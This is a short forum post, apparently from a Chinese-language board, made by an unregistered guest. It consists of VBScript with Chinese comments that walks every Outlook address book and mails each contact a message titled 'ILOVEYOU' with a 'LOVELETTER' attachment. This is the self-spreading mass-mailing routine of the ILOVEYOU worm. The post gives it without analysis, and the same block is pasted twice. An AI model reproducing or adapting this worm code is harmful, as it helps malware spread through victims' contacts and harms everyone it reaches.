W
wyn
Unregistered / Unconfirmed
GUEST, unregistred user!
Dim out, mapi, x, a, ctrlists, ctrentries, malead, male
Set out = CreateObject("Outlook.Application") '创建一个Outlook应用对象实例
Set mapi = out.GetNameSpace("MAPI") '访问现存的Outlook条目
For ctrlists = 1 To mapi.AddressLists.Count '遍历所有的地址簿
Set a = mapi.AddressLists(ctrlists) x = 1
For ctrentries = 1 To a.AddressEntries.Count '遍历地址簿中的地址条目
malead = a.AddressEntries(x)
Set male = out.CreateItem(0) '创建新的Outlook邮件
male.Recipients.Add (malead) '填写收件人
male.Subject = "ILOVEYOU" '填写主题
male.Body = "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add ("c:/text.txt")
male.Send '发送邮件
x = x + 1
Next
Next
Set out = Nothing
Set mapi = Nothing
Set out = CreateObject("Outlook.Application") '创建一个Outlook应用对象实例
Set mapi = out.GetNameSpace("MAPI") '访问现存的Outlook条目
For ctrlists = 1 To mapi.AddressLists.Count '遍历所有的地址簿
Set a = mapi.AddressLists(ctrlists) x = 1
For ctrentries = 1 To a.AddressEntries.Count '遍历地址簿中的地址条目
malead = a.AddressEntries(x)
Set male = out.CreateItem(0) '创建新的Outlook邮件
male.Recipients.Add (malead) '填写收件人
male.Subject = "ILOVEYOU" '填写主题
male.Body = "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add ("c:/text.txt")
male.Send '发送邮件
x = x + 1
Next
Next
Set out = Nothing
Set mapi = Nothing